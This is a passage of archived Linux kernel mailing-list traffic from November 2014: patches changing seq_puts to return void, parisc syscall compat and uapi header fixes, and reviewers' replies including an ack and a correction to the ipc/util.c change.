+			   (tmp & EPxSTATUS_SUSPEND) ? " suspend" : "",
+			   (tmp & EPxSTATUS_FIFO_DISABLE) ? " disable" : "",
+			   (tmp & EPxSTATUS_STAGE_ERROR) ? " ep0stat" : "");
+		if (seq_has_overflowed(m) < 0)
 			goto done;
 
 		if (list_empty(&ep->queue)) {
-			if (seq_puts(m, "\t(nothing queued)\n") < 0)
+			seq_puts(m, "\t(nothing queued)\n");
+			if (seq_has_overflowed(m))
 				goto done;
 			continue;
 		}
@@ -1187,10 +1190,10 @@ static int udc_proc_read(struct seq_file *m, void *v)
 			} else
 				tmp = req->req.actual;
 
-			if (seq_printf(m,
-				"\treq %p len %u/%u buf %p\n",
-				&req->req, tmp, req->req.length,
-				req->req.buf) < 0)
+			seq_printf(m, "\treq %p len %u/%u buf %p\n",
+				   &req->req, tmp, req->req.length,
+				   req->req.buf);
+			if (seq_has_overflowed(m))
 				goto done;
 		}
 	}
diff --git a/drivers/watchdog/bcm_kona_wdt.c b/drivers/watchdog/bcm_kona_wdt.c
index 4e37db3..0e5ec3c 100644
--- a/drivers/watchdog/bcm_kona_wdt.c
+++ b/drivers/watchdog/bcm_kona_wdt.c
@@ -102,34 +102,39 @@ static int bcm_kona_wdt_dbg_show(struct seq_file *s, void *data)
 	int ctl_val, cur_val, ret;
 	unsigned long flags;
 	struct bcm_kona_wdt *wdt = s->private;
+	int ctl, cur, ctl_sec, cur_sec, res;
 
-	if (!wdt)
-		return seq_puts(s, "No device pointer\n");
-
+	if (!wdt) {
+		seq_puts(s, "No device pointer\n");
+		return 0;
+	}
 	spin_lock_irqsave(&wdt->lock, flags);
 	ctl_val = secure_register_read(wdt, SECWDOG_CTRL_REG);
 	cur_val = secure_register_read(wdt, SECWDOG_COUNT_REG);
 	spin_unlock_irqrestore(&wdt->lock, flags);
 
 	if (ctl_val < 0 || cur_val < 0) {
-		ret = seq_puts(s, "Error accessing hardware\n");
-	} else {
-		int ctl, cur, ctl_sec, cur_sec, res;
-
-		ctl = ctl_val & SECWDOG_COUNT_MASK;
-		res = (ctl_val & SECWDOG_RES_MASK) >> SECWDOG_CLKS_SHIFT;
-		cur = cur_val & SECWDOG_COUNT_MASK;
-		ctl_sec = TICKS_TO_SECS(ctl, wdt);
-		cur_sec = TICKS_TO_SECS(cur, wdt);
-		ret = seq_printf(s, "Resolution: %d / %d\n"
-				"Control: %d s / %d (%#x) ticks\n"
-				"Current: %d s / %d (%#x) ticks\n"
-				"Busy count: %lu\n", res,
-				wdt->resolution, ctl_sec, ctl, ctl, cur_sec,
-				cur, cur, wdt->busy_count);
+		seq_puts(s, "Error accessing hardware\n");
+		return 0;
 	}
 
-	return ret;
+	ctl = ctl_val & SECWDOG_COUNT_MASK;
+	res = (ctl_val & SECWDOG_RES_MASK) >> SECWDOG_CLKS_SHIFT;
+	cur = cur_val & SECWDOG_COUNT_MASK;
+	ctl_sec = TICKS_TO_SECS(ctl, wdt);
+	cur_sec = TICKS_TO_SECS(cur, wdt);
+	seq_printf(s,
+		   "Resolution: %d / %d\n"
+		   "Control: %d s / %d (%#x) ticks\n"
+		   "Current: %d s / %d (%#x) ticks\n"
+		   "Busy count: %lu\n",
+		   res, wdt->resolution,
+		   ctl_sec, ctl, ctl,
+		   cur_sec, cur, cur,
+		   wdt->busy_count);
+	}
+
+	return 0;
 }
 
 static int bcm_kona_dbg_open(struct inode *inode, struct file *file)
diff --git a/fs/seq_file.c b/fs/seq_file.c
index 353948b..e6be05a 100644
--- a/fs/seq_file.c
+++ b/fs/seq_file.c
@@ -683,16 +683,17 @@ int seq_putc(struct seq_file *m, char c)
 }
 EXPORT_SYMBOL(seq_putc);
 
-int seq_puts(struct seq_file *m, const char *s)
+void seq_puts(struct seq_file *m, const char *s)
 {
 	int len = strlen(s);
-	if (m->count + len < m->size) {
-		memcpy(m->buf + m->count, s, len);
-		m->count += len;
-		return 0;
+
+	if (m->count + len >= m->size) {
+		seq_set_overflow(m);
+		return;
 	}
-	seq_set_overflow(m);
-	return -1;
+
+	memcpy(m->buf + m->count, s, len);
+	m->count += len;
 }
 EXPORT_SYMBOL(seq_puts);
 
diff --git a/include/linux/seq_file.h b/include/linux/seq_file.h
index cf6a9da..9b02cb6 100644
--- a/include/linux/seq_file.h
+++ b/include/linux/seq_file.h
@@ -116,7 +116,7 @@ loff_t seq_lseek(struct file *, loff_t, int);
 int seq_release(struct inode *, struct file *);
 int seq_escape(struct seq_file *, const char *, const char *);
 int seq_putc(struct seq_file *m, char c);
-int seq_puts(struct seq_file *m, const char *s);
+void seq_puts(struct seq_file *m, const char *s);
 int seq_write(struct seq_file *seq, const void *data, size_t len);
 
 __printf(2, 3) int seq_printf(struct seq_file *, const char *, ...);
diff --git a/ipc/util.c b/ipc/util.c
index 106bed0..4f726b7 100644
--- a/ipc/util.c
+++ b/ipc/util.c
@@ -837,8 +837,10 @@ static int sysvipc_proc_show(struct seq_file *s, void *it)
 	struct ipc_proc_iter *iter = s->private;
 	struct ipc_proc_iface *iface = iter->iface;
 
-	if (it == SEQ_START_TOKEN)
-		return seq_puts(s, iface->header);
+	if (it == SEQ_START_TOKEN) {
+		seq_puts(s, iface->header);
+		return seq_has_overflowed(s);
+	}
 
 	return iface->show(s, it);
 }
-- 
2.1.2

--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use compat layer for msgctl, shmat, shmctl and
 semtimedop syscalls
Date: Mon, 10 Nov 2014 21:46:18 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <20141110204618.GA3079@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1415652396 6608 80.91.229.3 (10 Nov 2014 20:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2014 20:46:36 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 10 21:46:29 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xnvr3-0002tp-0P
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Nov 2014 21:46:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752456AbaKJUqZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Nov 2014 15:46:25 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:53511 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752084AbaKJUqW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Nov 2014 15:46:22 -0500
Original-Received: from ls3530.box ([84.173.26.30]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0Me8di-1XefvW3XrS-00PtPC; Mon, 10 Nov 2014 21:46:20
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:eiJ6lGuK+q2LLawdET/KEX0XZbfaQuOv3vtoBt/+2gjMJNiLIcV
 ubHRlUmj9NJlOIJ8NF+jZr0GnQ7ZsncjeucmaZzXoIRf5dS+3OLnRB0/SGvTm8rJTVujMl1
 tCB1GVYytgnKQWCHWdyzPiN4hFjyGjo7HwGXSJZva9EeqiOC19viXCXeKQajdqFtog7gI/J
 qTkePLd/duSJaaHQYAbwg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6204>

Switch over the msgctl, shmat, shmctl and semtimedop syscalls to use the compat
layer.  The problem was found with the debian procenv package, which called
	shmctl(0, SHM_INFO, &info);
in which the shmctl syscall then overwrote parts of the surrounding areas on
the stack on which the info variable was stored and thus lead to a segfault
later on.

Additionally fix the definition of struct shminfo64 to use unsigned longs like
the other architectures. This has no impact on userspace since we only have a
32bit userspace up to now.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: John David Anglin <dave.anglin@bell.net>
Cc: <stable@vger.kernel.org> # v3.10+

diff --git a/arch/parisc/include/uapi/asm/shmbuf.h b/arch/parisc/include/uapi/asm/shmbuf.h
index 0a3eada..f395cde 100644
--- a/arch/parisc/include/uapi/asm/shmbuf.h
+++ b/arch/parisc/include/uapi/asm/shmbuf.h
@@ -36,23 +36,16 @@ struct shmid64_ds {
 	unsigned int		__unused2;
 };
 
-#ifdef CONFIG_64BIT
-/* The 'unsigned int' (formerly 'unsigned long') data types below will
- * ensure that a 32-bit app calling shmctl(*,IPC_INFO,*) will work on
- * a wide kernel, but if some of these values are meant to contain pointers
- * they may need to be 'long long' instead. -PB XXX FIXME
- */
-#endif
 struct shminfo64 {
-	unsigned int	shmmax;
-	unsigned int	shmmin;
-	unsigned int	shmmni;
-	unsigned int	shmseg;
-	unsigned int	shmall;
-	unsigned int	__unused1;
-	unsigned int	__unused2;
-	unsigned int	__unused3;
-	unsigned int	__unused4;
+	unsigned long	shmmax;
+	unsigned long	shmmin;
+	unsigned long	shmmni;
+	unsigned long	shmseg;
+	unsigned long	shmall;
+	unsigned long	__unused1;
+	unsigned long	__unused2;
+	unsigned long	__unused3;
+	unsigned long	__unused4;
 };
 
 #endif /* _PARISC_SHMBUF_H */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 84c5d3a..3cd1c43 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -286,11 +286,11 @@
 	ENTRY_COMP(msgsnd)
 	ENTRY_COMP(msgrcv)
 	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_SAME(msgctl)
-	ENTRY_SAME(shmat)
+	ENTRY_COMP(msgctl)
+	ENTRY_COMP(shmat)
 	ENTRY_SAME(shmdt)
 	ENTRY_SAME(shmget)
-	ENTRY_SAME(shmctl)		/* 195 */
+	ENTRY_COMP(shmctl)		/* 195 */
 	ENTRY_SAME(ni_syscall)		/* streams1 */
 	ENTRY_SAME(ni_syscall)		/* streams2 */
 	ENTRY_SAME(lstat64)
@@ -323,7 +323,7 @@
 	ENTRY_SAME(epoll_ctl)		/* 225 */
 	ENTRY_SAME(epoll_wait)
  	ENTRY_SAME(remap_file_pages)
-	ENTRY_SAME(semtimedop)
+	ENTRY_COMP(semtimedop)
 	ENTRY_COMP(mq_open)
 	ENTRY_SAME(mq_unlink)		/* 230 */
 	ENTRY_COMP(mq_timedsend)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop CONFIG_64BIT usage in userspace exported headers
Date: Mon, 10 Nov 2014 22:04:47 +0100
Lines: 138
Approved: news@gmane.org
Message-ID: <20141110210447.GA3451@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1415653500 24333 80.91.229.3 (10 Nov 2014 21:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Nov 2014 21:05:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 10 22:04:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xnw8r-0006zg-3r
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Nov 2014 22:04:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751890AbaKJVEw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Nov 2014 16:04:52 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:53672 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751685AbaKJVEw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Nov 2014 16:04:52 -0500
Original-Received: from ls3530.box ([84.173.26.30]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MgbTj-1XcCoQ2qVL-00Nxj7; Mon, 10 Nov 2014 22:04:49
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:YZXCgmiJvFLwtEgpcO7elBLZFZoHJDOw/4iOMD7sAWY5S02xtLE
 Pfqe4wx2bALLMpt9zQpowutcKwvHGSK/Fa/f6Ndx/gFwHusra9h8WuZZual0xh+FQH7FWJq
 5CDGMYpLp1+4vGYCQ+i4eqXa21A1pmXn9ScIW6wSQwP40F4mh/OCofyEC2PSFh0yYc5dfYl
 hY6omPlSGyUIDKm5BLAWA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6205>

The gcc compiler provide the predefined __LP64__ macro. Use that
instead. 

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/bitsperlong.h b/arch/parisc/include/uapi/asm/bitsperlong.h
index 75196b4..ebde3830 100644
--- a/arch/parisc/include/uapi/asm/bitsperlong.h
+++ b/arch/parisc/include/uapi/asm/bitsperlong.h
@@ -1,13 +1,7 @@
 #ifndef __ASM_PARISC_BITSPERLONG_H
 #define __ASM_PARISC_BITSPERLONG_H
 
-/*
- * using CONFIG_* outside of __KERNEL__ is wrong,
- * __LP64__ was also removed from headers, so what
- * is the right approach on parisc?
- *	-arnd
- */
-#if (defined(__KERNEL__) && defined(CONFIG_64BIT)) || defined (__LP64__)
+#if defined (__LP64__)
 #define __BITS_PER_LONG 64
 #define SHIFT_PER_LONG 6
 #else
diff --git a/arch/parisc/include/uapi/asm/msgbuf.h b/arch/parisc/include/uapi/asm/msgbuf.h
index fe88f26..3421389 100644
--- a/arch/parisc/include/uapi/asm/msgbuf.h
+++ b/arch/parisc/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_MSGBUF_H
 #define _PARISC_MSGBUF_H
 
+#include <asm/bitsperlong.h>
+
 /* 
  * The msqid64_ds structure for parisc architecture, copied from sparc.
  * Note extra padding because this structure is passed back and forth
@@ -13,15 +15,15 @@
 
 struct msqid64_ds {
 	struct ipc64_perm msg_perm;
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int   __pad1;
 #endif
 	__kernel_time_t msg_stime;	/* last msgsnd time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int   __pad2;
 #endif
 	__kernel_time_t msg_rtime;	/* last msgrcv time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int   __pad3;
 #endif
 	__kernel_time_t msg_ctime;	/* last change time */
diff --git a/arch/parisc/include/uapi/asm/sembuf.h b/arch/parisc/include/uapi/asm/sembuf.h
index 1e59ffd..f01d89e 100644
--- a/arch/parisc/include/uapi/asm/sembuf.h
+++ b/arch/parisc/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_SEMBUF_H
 #define _PARISC_SEMBUF_H
 
+#include <asm/bitsperlong.h>
+
 /* 
  * The semid64_ds structure for parisc architecture.
  * Note extra padding because this structure is passed back and forth
@@ -13,11 +15,11 @@
 
 struct semid64_ds {
 	struct ipc64_perm sem_perm;		/* permissions .. see ipc.h */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int	__pad1;
 #endif
 	__kernel_time_t	sem_otime;		/* last semop time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int	__pad2;
 #endif
 	__kernel_time_t	sem_ctime;		/* last change time */
diff --git a/arch/parisc/include/uapi/asm/shmbuf.h b/arch/parisc/include/uapi/asm/shmbuf.h
index 0a3eada..8496c38 100644
--- a/arch/parisc/include/uapi/asm/shmbuf.h
+++ b/arch/parisc/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_SHMBUF_H
 #define _PARISC_SHMBUF_H
 
+#include <asm/bitsperlong.h>
+
 /* 
  * The shmid64_ds structure for parisc architecture.
  * Note extra padding because this structure is passed back and forth
@@ -13,19 +15,19 @@
 
 struct shmid64_ds {
 	struct ipc64_perm	shm_perm;	/* operation perms */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int		__pad1;
 #endif
 	__kernel_time_t		shm_atime;	/* last attach time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int		__pad2;
 #endif
 	__kernel_time_t		shm_dtime;	/* last detach time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int		__pad3;
 #endif
 	__kernel_time_t		shm_ctime;	/* last change time */
-#ifndef CONFIG_64BIT
+#if __BITS_PER_LONG != 64
 	unsigned int		__pad4;
 #endif
 	size_t			shm_segsz;	/* size of segment (bytes) */
diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h
index 10df707..e26043b 100644
--- a/arch/parisc/include/uapi/asm/signal.h
+++ b/arch/parisc/include/uapi/asm/signal.h
@@ -85,7 +85,7 @@
 struct siginfo;
 
 /* Type of a signal handler.  */
-#ifdef CONFIG_64BIT
+#if defined(__LP64__)
 /* function pointers on 64-bit parisc are pointers to little structs and the
  * compiler doesn't support code which changes or tests the address of
  * the function in the little struct.  This is really ugly -PB
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Brown <broonie@kernel.org>
Newsgroups: gmane.linux.file-systems,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.usb.general
Subject: Re: [PATCH -next 1/2] seq_puts: Convert to return void and convert
 uses too.
Date: Tue, 11 Nov 2014 00:32:36 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20141111003236.GS3815@sirena.org.uk>
References: <cover.1415645476.git.joe@perches.com>
 <c8249a5c6504275a0e22704dda83b34002a89eac.1415645476.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="YW0vl6bOwYQ/J4Ih"
X-Trace: ger.gmane.org 1415666094 30121 80.91.229.3 (11 Nov 2014 00:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Nov 2014 00:34:54 +0000 (UTC)
Cc: Steven Rostedt <rostedt@goodmis.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Liam Girdwood <lgirdwood@gmail.com>,
	Wim Van Sebroeck <wim@iguana.be>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Petr Mladek <pmladek@suse.cz>, Felipe Balbi <balbi@ti.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-watchdog@vger.kernel.org,
	linux-fsdevel@vger.kernel.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-fsdevel-owner@vger.kernel.org Tue Nov 11 01:34:44 2014
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-fsdevel-owner@vger.kernel.org>)
	id 1XnzPw-0007cJ-6g
	for lnx-linux-fsdevel@plane.gmane.org; Tue, 11 Nov 2014 01:34:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751451AbaKKAec (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
	Mon, 10 Nov 2014 19:34:32 -0500
Original-Received: from mezzanine.sirena.org.uk ([106.187.55.193]:58923 "EHLO
	mezzanine.sirena.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750799AbaKKAeb (ORCPT
	<rfc822;linux-fsdevel@vger.kernel.org>);
	Mon, 10 Nov 2014 19:34:31 -0500
Original-Received: from cpc11-sgyl31-2-0-cust672.sgyl.cable.virginm.net ([94.175.94.161] helo=debutante)
	by mezzanine.sirena.org.uk with esmtpsa (TLS1.2:RSA_AES_128_CBC_SHA1:128)
	(Exim 4.80)
	(envelope-from <broonie@sirena.org.uk>)
	id 1XnzP3-0007Ng-Co; Tue, 11 Nov 2014 00:33:59 +0000
Original-Received: from broonie by debutante with local (Exim 4.84)
	(envelope-from <broonie@sirena.org.uk>)
	id 1XnzNs-0006jR-GU; Tue, 11 Nov 2014 00:32:36 +0000
Content-Disposition: inline
In-Reply-To: <c8249a5c6504275a0e22704dda83b34002a89eac.1415645476.git.joe@perches.com>
X-Cookie: Some optional equipment shown.
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: 94.175.94.161
X-SA-Exim-Mail-From: broonie@sirena.org.uk
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on
	mezzanine.sirena.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-2.9 required=5.0 tests=ALL_TRUSTED,BAYES_00
	autolearn=ham version=3.3.2
X-SA-Exim-Version: 4.2.1 (built Mon, 26 Dec 2011 16:24:06 +0000)
X-SA-Exim-Scanned: Yes (on mezzanine.sirena.org.uk)
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:90024 gmane.linux.ports.parisc:6206 gmane.linux.kernel:1825812 gmane.linux.usb.general:117954
Archived-At: <http://permalink.gmane.org/gmane.linux.file-systems/90024>


--YW0vl6bOwYQ/J4Ih
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, Nov 10, 2014 at 10:58:56AM -0800, Joe Perches wrote:
> Using the return value of seq_puts is error-prone, so
> make it return void instead.

Acked-by: Mark Brown <broonie@kernel.org>

--YW0vl6bOwYQ/J4Ih
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBAgAGBQJUYVkjAAoJECTWi3JdVIfQpMYH/2Kbn9+gPddauhOdQJ0BGVz8
85A17JrLFg6lHJwNli66Oht8PMGCs4gKsdkG7+rfLr4SurZsBH//g8mym6ohWkr9
8tvBo1z74oJDu1JuzDIgRA9uMlKFIJjb3ClhgnGjDWTNCAqzuOwrdf243/+7KlJ4
gvHAi3mASlkI6uh3qCgmIHcIsDT8mcK8hY+I9TnDB0KusBTmNsyOaloEF9iOHs+A
UJHCH/gpq2nI/RAr77B1sJwgf7QlqW7zd6M0CllstDQIlqH5LCms73wXXBGdzSxs
6dFtTlH5ccibzhTYVa/n21WM3RLiPIV6PKzQQwV12GMmMxuHreH/AJcP1RZdmzE=
=8knI
-----END PGP SIGNATURE-----

--YW0vl6bOwYQ/J4Ih--
--
To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Petr Mladek <pmladek@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.usb.general,gmane.linux.file-systems
Subject: Re: [PATCH -next 1/2] seq_puts: Convert to return void and convert
 uses too.
Date: Tue, 11 Nov 2014 14:38:51 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20141111133851.GA2567@pathway.suse.cz>
References: <cover.1415645476.git.joe@perches.com>
 <c8249a5c6504275a0e22704dda83b34002a89eac.1415645476.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1415713136 6616 80.91.229.3 (11 Nov 2014 13:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Nov 2014 13:38:56 +0000 (UTC)
Cc: Steven Rostedt <rostedt@goodmis.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Liam Girdwood <lgirdwood@gmail.com>,
	Mark Brown <broonie@kernel.org>,
	Wim Van Sebroeck <wim@iguana.be>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Felipe Balbi <balbi@ti.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-watchdog@vger.kernel.org,
	linux-fsdevel@vger.kernel.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 11 14:38:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XoBea-0005zw-Az
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Nov 2014 14:38:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751011AbaKKNij (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Nov 2014 08:38:39 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:40750 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750829AbaKKNii (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Nov 2014 08:38:38 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 9258CACA0;
	Tue, 11 Nov 2014 13:38:35 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <c8249a5c6504275a0e22704dda83b34002a89eac.1415645476.git.joe@perches.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6207 gmane.linux.kernel:1826414 gmane.linux.usb.general:117986 gmane.linux.file-systems:90042
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6207>

On Mon 2014-11-10 10:58:56, Joe Perches wrote:
> diff --git a/ipc/util.c b/ipc/util.c
> index 106bed0..4f726b7 100644
> --- a/ipc/util.c
> +++ b/ipc/util.c
> @@ -837,8 +837,10 @@ static int sysvipc_proc_show(struct seq_file *s, void *it)
>  	struct ipc_proc_iter *iter = s->private;
>  	struct ipc_proc_iface *iface = iter->iface;
>  
> -	if (it == SEQ_START_TOKEN)
> -		return seq_puts(s, iface->header);
> +	if (it == SEQ_START_TOKEN) {
> +		seq_puts(s, iface->header);
> +		return seq_has_overflowed(s);

It should return 0. The overflow is detected by traverse() that is
called from seq_read(). If the overflow happens, the size of the
buffer is increased and show() is called again.

> +	}
>  
>  	return iface->show(s, it);

This should stay as is. It seems that the show() function might also
return negative value in case of some other failure. See the error
handling of "error = m->op->show(m, p);" in traverse() in fs/seq_file.c


The rest of the patch looks fine.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
